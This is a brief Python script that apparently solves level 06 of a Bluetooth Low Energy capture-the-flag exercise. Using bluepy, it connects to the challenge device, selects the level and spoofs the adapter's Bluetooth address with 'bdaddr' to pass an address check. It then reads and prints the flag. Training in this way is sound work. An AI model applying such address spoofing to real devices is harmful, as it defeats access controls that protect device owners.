#! /usr/bin/python
import binascii
import struct
import sys, os, time
import bluepy.btle as btle
import subprocess
'''
42 0x2A READ Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr
44 0x2C READ
46 0x2E READ WRITE write here to goto to scoreboard
'''
deviceMAC = open('ctf_mac.txt').read()
p = btle.Peripheral(deviceMAC)
svc=p.getServiceByUUID(0x00FF)
print ("Attached to peripheral")
print("Loading level 06")
hex1 = binascii.unhexlify(str('%0*x' % (4,6)))
p.writeCharacteristic(0x30, hex1, withResponse=False)
subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0'])
print("Reading value")
hex1 = p.readCharacteristic(0x2C)
hex2 = binascii.b2a_hex(hex1)
hexlif2 = str(binascii.unhexlify(hex2))
print("Flag: %s" % hexlif2)
p.disconnect()